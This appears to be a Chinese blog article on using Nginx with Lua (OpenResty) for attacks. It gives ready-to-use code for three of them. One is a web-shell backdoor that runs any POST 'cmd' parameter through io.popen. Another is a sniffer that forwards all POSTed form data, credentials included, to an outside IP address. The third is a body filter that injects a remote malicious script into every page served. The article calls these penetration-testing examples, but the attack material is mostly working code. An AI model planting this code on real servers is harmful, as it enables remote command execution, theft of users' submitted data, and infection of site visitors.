浅谈Nginx Lua安全应用示例:后门/监听/挂马等

技术 作者:有料 2019-10-03 22:26:53

Nginx + Lua

nginx是一个用C语言开发的高性能WEB服务器及反向代理服务器,先将Nginx+Lua组合到一起的是OpenResty(类似的还有淘宝的tengine)。OpenResty通过汇聚各种设计精良的 Nginx 模块,从而将 Nginx 有效地变成一个强大的通用 Web 应用平台,在WEB应用与信息安全领域均有广泛的应用:
  • waf、安全代理(身份认证、敏感信息删除等)
  • Backdoor 后门
  • 数据监听、窃取
  • 挂马
  • lua代码加密及隐蔽
  • 更多

Nginx lua模块指令的顺序

nginx有11个处理阶段,如下图所示:
一般我们在开发过程中常用到的阶段如下:
  1. set_by_lua*: 流程分之处理判断变量初始化
  2. rewrite_by_lua*: 转发、重定向、缓存等功能(例如特定请求代理到外网)
  3. access_by_lua*: IP准入、接口权限等情况集中处理(例如配合iptable完成简单防火墙)
  4. content_by_lua*: 内容生成
  5. header_filter_by_lua*: 应答HTTP过滤处理(例如添加头部信息)
  6. body_filter_by_lua*: 应答BODY过滤处理(例如完成应答内容统一成大写)
  7. log_by_lua*: 回话完成后本地异步完成日志记录(日志可以记录在本地,还可以同步到其他机器)
一般情况下,我们使用content阶段即可。

后门示例

找到conf/nginx.conf,在server块中添加路由:
location = /a.php {  
    default_type 'text/plain';  
    content_by_lua_file lua/backdoor.lua;
}
然后创建lua/backdoor.lua脚本,你也可以创建在任意位置,不过要对应上文的content_by_lua_file字段:
ngx.req.read_body()
local post_args = ngx.req.get_post_args()
local cmd = post_args["cmd"]
if cmd then
    f_ret = io.popen(cmd)
    local ret = f_ret:read("*a")
    ngx.say(string.format("%s", ret))
end
重载nginx
nginx -s reload
浏览器访问
nginx lua后门示例

数据监听、窃取示例

nginx实现数据监听非法方便,只要以下ngx.req.read_body()和local post_args = ngx.req.get_post_args()2行代码即可, 再利用lua-resty-http模块就可以将数据通过post的方式提交到黑阔指定的地方,测试代码如下:
local http = require "resty.http"
local cjson = require("cjson")

local _M = {}

function _M.sniff()
    ngx.req.read_body()
    local post_args = ngx.req.get_post_args()
    ngx.log(ngx.DEBUG, "data=" .. cjson.encode(post_args))
    if post_args then
        local httpc = http.new()
        local res, err = httpc:request_uri("http://111.111.111.111/test/", {
            method = "POST",
            body = "data=" .. cjson.encode(post_args),
            headers = {
            ["Content-Type"] = "application/x-www-form-urlencoded",
        }
        })
    end
end

return _M

挂马示例

在nginx返回数据时,将网页木马插入即可,代码如下:
function _M.hang_horse()
    local data = ngx.arg[1] or ""
    local html = string.gsub(data, "</head>", "<script src=\"http://docs.xsec.io/1.js\"></script></head>")
    ngx.arg[1] = html
end
放到目标网站的/目录下后的效果如下:
location ~* ^/ {
    body_filter_by_lua 'cmd.hang_horse()';
在实际的渗透测试与安全检测中,并不限于以上举的几个小例子,我们应还应把服务容器载体做为一个分支来处理。

参考

  • https://www.nginx.com/resources/wiki/modules/lua/
  • https://github.com/netxfly/nginx_lua_security

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接